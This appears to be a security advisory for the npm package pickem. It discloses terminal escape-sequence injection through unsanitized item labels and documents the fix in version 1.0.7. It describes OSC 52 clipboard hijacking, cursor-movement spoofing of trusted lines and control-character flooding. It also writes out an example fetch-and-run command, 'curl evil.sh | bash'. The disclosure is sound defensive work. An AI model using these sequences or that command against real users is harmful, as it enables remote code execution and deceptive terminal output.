High

pickem vulnerable to terminal escape-sequence injection via unsanitized item text

  • Disclosed: 25.08.2026
  • Updated: 11.10.2026 10:22

Impact

pickem rendered item text (label, description, group, meta, name) to the terminal with no control-character sanitization. chrome.row only stripped ANSI from the active row; inactive rows, the public createFormatter, and selection-summary lines printed labels raw, and the ANSI strip missed bare C0 controls anyway.

Because item text is frequently attacker-controllable (git branch names, PR/issue titles, filenames, npm/API results), a malicious label was a terminal write primitive:

  • OSC 52 clipboard write — silently load e.g. curl evil.sh | bash into the user's clipboard; their next paste-into-shell is RCE.
  • Cursor-movement + erase (ESC[1A, ESC[2K) — overwrite already-printed trusted lines to spoof UI (forge a "✓ Verified publisher", fake prompt, or hide a malicious entry).
  • BEL / C0 control flooding.

Any CLI that passes untrusted strings into pickem choices is affected.

Patches

Fixed in 1.0.7. A new sanitizeDisplay() strips every escape sequence except inert SGR (color), plus all C0/C1/DEL control bytes, at the render boundary — applied to every externally-supplied display string across all prompts (select, search, checkbox, searchable-checkbox, input), createFormatter, row meta, and committed selection summaries. Display-only; returned values are unchanged.

Workarounds

Upgrade to >= 1.0.7. Otherwise, strip C0/C1/DEL control characters and ANSI escape sequences from any untrusted text before passing it to pickem.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package pickem < 1.0.7 1.0.7

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weakness (CWE)
CWE-150
Platform
npm
Package
pickem
Disclosed
25.08.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-8qx3-8gm5-9cj2 - CC BY 4.0

Vulnerability history: pickem

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

This is the only known vulnerability of this package.

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